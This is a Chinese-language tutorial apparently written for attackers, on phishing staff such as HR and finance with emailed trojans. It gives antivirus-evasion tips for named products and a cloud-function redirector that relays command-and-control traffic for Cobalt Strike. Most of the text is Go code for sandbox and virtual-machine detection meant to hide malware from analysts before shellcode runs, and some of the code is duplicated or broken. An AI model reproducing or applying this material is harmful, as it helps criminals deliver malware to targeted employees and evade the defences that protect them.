社工钓鱼细节技巧

钓鱼对象

1、hr、经理、财务等安全意识薄弱的人，避开信息安全部

如何搜集邮箱信息？

https://app.snov.io/

但一般来说，企业邮箱都存在邮服网关，邮件很难投递，所以我们要选择一些针对公开群众的邮箱

比如说 xxx 举报，xxx 信息反馈面对大众的邮箱，如何搜集呢

钓鱼手法

1、群发（不推荐，易被发现或被邮服拦截）

2、添加微信发送钓鱼木马（话术获取信任）

3、扫码活动钓账号

邮件投递木马

1、木马需要打压缩，添加密码并隐藏内容，防止直接在压缩包内打开

2、后缀可选择其他非 exe 仍可执行的，如 scr、com 等

3、如果知道对方杀软没有 360 这种，可通过空格和长文件命名

免杀及捆绑文件

自写工具介绍

杀软特性

杀软类型	免杀绕过技巧
火绒	编译参数限制多，对 hash 和字符串特征进行识别，静态能过动态基本不查杀，对很多 go 库调用报毒
360	单 360 查杀力不高，装了杀毒后直接儿子变爸爸，查杀力大大提升，对于简单的加密识别度较高，容易上线后云查杀过一会掉线，推荐使用分离加载方式，并使用反沙箱的代码延长马子时间，对资源查杀力度强，会报 qvm
360 核晶	开启后对整体查杀性能影响不大，避免使用进程注入的方式加载 shellcode，无法执行大部分 cmd 命令和相关程序（使用 bof 插件进行替代）
Defender	新增许多 cobaltstrike 规则，推荐使用 `Stageless`，免杀性比 `Stage` 好，4.5 版本开启 `sleep_mask` 参数增强免杀性，对体积大的文件查杀度不高
卡巴斯基	内存扫描厉害，需要进行内存混淆

云函数

新建一个云函数，在代码位置进行修改

首先导入 yisiwei.zip 的云函数包

# -*- coding: utf8 -*-
import json, requests, base64


def main_handler(event, context):
    C2 = 'https://x.x.x.x'  # 这里可以使用 HTTP、HTTPS~下角标~ 
    path = event['path']
    headers = event['headers']
    print(event)
    if event['httpMethod'] == 'GET':
        resp = requests.get(C2 + path, headers=headers, verify=False)
    else:
        resp = requests.post(C2 + path, data=event['body'], headers=headers, verify=False)
        print(resp.headers)
        print(resp.content)
    response = {"isBase64Encoded": True, "statusCode": resp.status_code, "headers": dict(resp.headers),
                "body": str(base64.b64encode(resp.content))[2:-1]}
    return response

记得部署

创建触发器，选择新建的模板和 API 网关触发方式

service-cv4vqio3-1307700818.sh.apigw.tencentcs.com

监听器配置

反沙箱

出口 ip

func san() {
url := "https://myip.ipip.net/"

resp, err := http.Get(url)
if err != nil {
os.Exit(1)
}
defer resp.Body.Close()

body, err := ioutil.ReadAll(resp.Body)
if err != nil {
os.Exit(1)
}

content := string(body)

if strings.Contains(content, "中国") {
} else {
os.Exit(1)
}
}

func See_through() {
// 1. 延时运行
timeSleep1, _ := timeSleep()
// 2. 检测开机时间
bootTime1, _ := bootTime()
// 3. 检测物理内存
physicalMemory1, _ := physicalMemory()

level := timeSleep1 + bootTime1 + physicalMemory1
//fmt.Println("level:", level)
if level < 2 {
//fmt.Println("可能是沙箱！")
os.Exit(1)
}
}

// 1. 延时运行
func timeSleep() (int, error) {
startTime := time.Now()
time.Sleep(10 * time.Second)
endTime := time.Now()
sleepTime := endTime.Sub(startTime)
if sleepTime >= time.Duration(10*time.Second) {
//fmt.Println("睡眠时间为:", sleepTime)
return 1, nil
} else {
return 0, nil
}
}

// 11111
// 2. 检测开机时间
// 许多沙箱检测完毕后会重置系统，我们可以检测开机时间来判断是否为真实的运行状况。
func bootTime() (int, error) {
var kernel = syscall.NewLazyDLL("Kernel32.dll")
GetTickCount := kernel.NewProc("GetTickCount")
r, _, _ := GetTickCount.Call()
if r == 0 {
return 0, nil
}
ms := time.Duration(r * 1000 * 1000)
//fmt.Println("开机时常为:", ms)
tm := time.Duration(30 * time.Minute)
if ms < tm {
return 0, nil
} else {
return 1, nil
}

}

func physicalMemory() (int, error) {
var mod = syscall.NewLazyDLL("kernel32.dll")
var proc = mod.NewProc("GetPhysicallyInstalledSystemMemory")
var mem uint64
proc.Call(uintptr(unsafe.Pointer(&mem)))
mem = mem / 1048576
if mem < 2 {
//fmt.Printf("物理内存为%dGn", mem)
return 0, nil // 小于4GB返回0
}
return 1, nil // 大于4GB返回1
}

func process() {
executablePath, err := os.Executable()
if err != nil {
// 处理错误
return
}

sourceFilename := filepath.Base(executablePath) // 源文件名称
processName := filepath.Base(os.Args[0]) // 当前运行进程名称

// 比较源文件名称和进程名称是否相同
if strings.EqualFold(sourceFilename, processName) {
// 进程名称和源文件名称相同，正常运行
// 在这里执行正常的操作
} else {
// 进程名称和源文件名称不同，可能在沙箱环境中运行
// 在这里执行相应的防沙箱操作
os.Exit(0) // 退出程序
}
}

func desktop() {
desktopPath, err := os.UserHomeDir()
if err != nil {
fmt.Println("无法获取用户桌面路径：", err)
return
}

desktopFiles, err := ioutil.ReadDir(filepath.Join(desktopPath, "Desktop"))
if err != nil {
fmt.Println("无法读取用户桌面文件列表：", err)
return
}

fileCount := len(desktopFiles)
fmt.Println("用户桌面文件数：", fileCount)

if fileCount < 10 {
os.Exit(0)
}
// 在这里编写你的其他代码逻辑
}

func ShowConsoleAsync(commandShow uintptr) {
console := w32.GetConsoleWindow()
if console != 0 {
_, consoleProcID := w32.GetWindowThreadProcessId(console)
if w32.GetCurrentProcessId() == consoleProcID {
w32.ShowWindowAsync(console, commandShow)
}
}
}


ShowConsoleAsync(w32.SW_HIDE)
desktop()
process()
See_through()

鼠标检测

package main

import (
"fmt"
"time"

"github.com/go-vgo/robotgo"
)

func main() {
// 创建一个通道用于接收鼠标事件
eventChan := make(chan bool)

// 启动一个goroutine来监听鼠标事件
go func() {
// 获取鼠标的当前位置
prevX, prevY := robotgo.GetMousePos()

// 持续监听鼠标移动和点击事件
for {
// 获取当前鼠标位置
x, y := robotgo.GetMousePos()
print(x, y)

// 检测鼠标是否移动
if x != prevX || y != prevY {
// 如果有移动事件，发送1到通道
eventChan <- true
return
}

// 100毫秒检查一次
time.Sleep(100 * time.Millisecond)
}
}()

// 启动一个计时器等待10秒
timer := time.NewTimer(10 * time.Second)

// 等待鼠标事件或者10秒超时
select {
case <-eventChan:
fmt.Println("nn1")
case <-timer.C:
fmt.Println("0")
}
}

判断桌面文件

package main

import (
"fmt"
"os"
"path/filepath"
)

func countFilesInDir(dirPath string) (int, error) {
fileCount := 0

err := filepath.Walk(dirPath, func(path string, info os.FileInfo, err error) error {
if err != nil {
return err
}

if !info.IsDir() {
fileCount++
}

return nil
})

return fileCount, err
}

func desktop() {
desktopPath, err := os.UserHomeDir()
if err != nil {
fmt.Println("无法获取用户桌面路径：", err)
return
}

desktopPath = filepath.Join(desktopPath, "Desktop")
fileCount, err := countFilesInDir(desktopPath)
if err != nil {
fmt.Println("无法读取用户桌面文件列表：", err)
return
}

fmt.Println("用户桌面文件数：", fileCount)

if fileCount < 7 {
os.Exit(0)
}

// 在这里编写你的其他代码逻辑
}

func main() {
desktop()
}
import (
"fmt"
"os"
"io/ioutil"
"path/filepath"
)

func desktop() {
desktopPath, err := os.UserHomeDir()
if err != nil {
fmt.Println("无法获取用户桌面路径：", err)
return
}

desktopFiles, err := ioutil.ReadDir(filepath.Join(desktopPath, "Desktop"))
if err != nil {
fmt.Println("无法读取用户桌面文件列表：", err)
return
}

fileCount := len(desktopFiles)
fmt.Println("用户桌面文件数：", fileCount)

if fileCount < 7 {
os.Exit(0)
}
// 在这里编写你的其他代码逻辑
}

校验时区

func shiqu() {
// 加载北京时区
loc, err := time.LoadLocation("Asia/Shanghai")
if err != nil {
return
}

// 获取当前时间
now := time.Now()

// 判断当前时区是否为北京时区
if now.Location() != loc {
return
}
}

校验进程名称

func process() {
executablePath, err := os.Executable()
if err != nil {
return
}

sourceFilename := filepath.Base(executablePath) // 源文件名称
processName := filepath.Base(os.Args[0]) // 当前运行进程名称

if strings.EqualFold(sourceFilename, processName) {
} else {
os.Exit(0) // 退出程序
}
}

判断微信是否存在

func CheckWeChatExist() {
k, err := registry.OpenKey(registry.CURRENT_USER, `SOFTWARETencentbugReportWechatWindows`, registry.QUERY_VALUE)
if err != nil {
os.Exit(0)
}
defer k.Close()

s, _, err := k.GetStringValue("InstallDir")
if err != nil || s == "" {
os.Exit(0)
}

// 在这里添加需要执行的代码

}

判断是否为沙箱常见用户和计算机名

func NoBlockComputerName() {
known := []string{
"REVTS1RPUC1IOVVSQjdU",
/* "N1NJTFZJQQ==",
"SEFOU1BFVEVSLVBD",
"Sk9ITi1QQw==",
"TVVFTExFUi1QQw==",
"V0lONy1UUkFQUw==",
"Rk9SVElORVQ=",
"VEVRVUlMQUJPT01CT09N",
"VkJDQ1NDLVBD",
"REVTS1RPUC1TVk9OWFlE",
"V0lOLTJIQlhTUktXQ1JZ",
"V0lOLTJIQlhTUktXQ1JZ",
"V0lOLUlWRTk5SlRURVE2",
"V0lOLUhIUU1RRENCVDdF",
"MENDNDdBQzgzODAz",
"QU1BWklORy1BVk9DQURP",
"cmJtaHV3dmNpbmc=",
"U1RBQ0FTODQ=",
"U0RKLUZGRDBGRUIwNURD", */
}

name, _ := os.Hostname()

for _, v := range known {
if base64.URLEncoding.EncodeToString([]byte(v)) == name {
os.Exit(0)
}
}
}

func NoBlockUserProcess() {
known := []string{
"QWJieQ==",
"YXp1cmU=",
"Z2Vvcmdl",
"ZmlsZW1vbi5leGU=",
"cHJvY21vbi5leGU=",
"cmVnbW9uLmV4ZQ==",
"cHJvY2V4cC5leGU=",
"aWRhcS5leGU=",
"aWRhcTY0LmV4ZQ==",
"SW1tdW5pdHlEZWJ1Z2dlci5leGU=",
"V2lyZXNoYXJrLmV4ZQ==",
"ZHVtcGNhcC5leGU=",
"SG9va0V4cGxvcmVyLmV4ZQ==",
"SW1wb3J0UkVDLmV4ZQ==",
"UEVUb29scy5leGU=",
"TG9yZFBFLmV4ZQ==",
"U3lzSW5zcGVjdG9yLmV4ZQ==",
"cHJvY19hbmFseXplci5leGU=",
"c3lzQW5hbHl6ZXIuZXhl",
"c25pZmZfaGl0LmV4ZQ==",
"d2luZGJnLmV4ZQ==",
"am9lYm94Y29udHJvbC5leGU=",
"am9lYm94c2VydmVyLmV4ZQ==",
"am9lYm94c2VydmVyLmV4ZQ==",
"UmVzb3VyY2VIYWNrZXIuZXhl",
"eDMyZGJnLmV4ZQ==",
"eDY0ZGJnLmV4ZQ==",
"RmlkZGxlci5leGU=",
"aHR0cGRlYnVnZ2VyLmV4ZQ==", */
}

u, _ := user.Current()
username := u.Username

for _, v := range known {
decoded, _ := base64.URLEncoding.DecodeString(v)
decodedString := string(decoded)
if strings.EqualFold(decodedString, username) {
os.Exit(0)
}
}
}

func See_through() {
// 1. 延时运行
timeSleep1, _ := timeSleep()
// 2. 检测开机时间
bootTime1, _ := bootTime()
// 3. 检测物理内存
physicalMemory1, _ := physicalMemory()

level := timeSleep1 + bootTime1 + physicalMemory1
//fmt.Println("level:", level)
if level < 2 {
//fmt.Println("可能是沙箱！")
os.Exit(1)
}
}

// 1. 延时运行
func timeSleep() (int, error) {
startTime := time.Now()
time.Sleep(10 * time.Second)
endTime := time.Now()
sleepTime := endTime.Sub(startTime)
if sleepTime >= time.Duration(10*time.Second) {
//fmt.Println("睡眠时间为:", sleepTime)
return 1, nil
} else {
return 0, nil
}
}

// 2. 检测开机时间
// 许多沙箱检测完毕后会重置系统，我们可以检测开机时间来判断是否为真实的运行状况。
func bootTime() (int, error) {
var kernel = syscall.NewLazyDLL("Kernel32.dll")
GetTickCount := kernel.NewProc("GetTickCount")
r, _, _ := GetTickCount.Call()
if r == 0 {
return 0, nil
}
ms := time.Duration(r * 1000 * 1000)
//fmt.Println("开机时常为:", ms)
tm := time.Duration(30 * time.Minute)
if ms < tm {
return 0, nil
} else {
return 1, nil
}

}

func physicalMemory() (int, error) {
var mod = syscall.NewLazyDLL("kernel32.dll")
var proc = mod.NewProc("GetPhysicallyInstalledSystemMemory")
var mem uint64
proc.Call(uintptr(unsafe.Pointer(&mem)))
mem = mem / 1048576
if mem < 4 {
//fmt.Printf("物理内存为%dGn", mem)
return 0, nil // 小于4GB返回0
}
return 1, nil // 大于4GB返回1
}

虚拟机特征判断

func PathExists(path string) (bool, error) { //判断文件是否存在
_, err := os.Stat(path)
if err == nil {
return true, nil
}
if os.IsNotExist(err) {
return false, nil
}
return false, err
}
func fack(path string) { //判断虚拟机关键文件是否存在
b, _ := PathExists(path)
if b {
fmt.Printf("当前是虚拟机环境，别分析了，哥。")
os.Exit(1) //如果是虚拟机就退出当前进程
}
}
func check() {
fack("C:\windows\System32\Drivers\Vmmouse.sys")
fack("C:\windows\System32\Drivers\vmtray.dll")
fack("C:\windows\System32\Drivers\VMToolsHook.dll")
fack("C:\windows\System32\Drivers\vmmousever.dll")
fack("C:\windows\System32\Drivers\vmhgfs.dll")
fack("C:\windows\System32\Drivers\vmGuestLib.dll")
fack("C:\windows\System32\Drivers\VBoxMouse.sys")
fack("C:\windows\System32\Drivers\VBoxGuest.sys")
fack("C:\windows\System32\Drivers\VBoxSF.sys")
fack("C:\windows\System32\Drivers\VBoxVideo.sys")
fack("C:\windows\System32\vboxdisp.dll")
fack("C:\windows\System32\vboxhook.dll")
fack("C:\windows\System32\vboxoglerrorspu.dll")
fack("C:\windows\System32\vboxoglpassthroughspu.dll")
fack("C:\windows\System32\vboxservice.exe")
fack("C:\windows\System32\vboxtray.exe")
fack("C:\windows\System32\VBoxControl.exe")
}
func main() {
a, _ := windows.GetUserPreferredUILanguages(windows.MUI_LANGUAGE_NAME) //获取当前系统首选语言
if a[0] != "zh-CN" {
fmt.Printf("当前不是中文系统")
os.Exit(1) //网上的沙盒等系统都是英文界面，我们可以利用这个进行判断
} else {
check() //先进行判断系统语言，然后再进行判断虚拟机关键文件是否存在
//这边检测完了，就可以执行你想执行的代码了，如shellcode
}
}

文章版权归作者所有，未经允许请勿转载。

THE END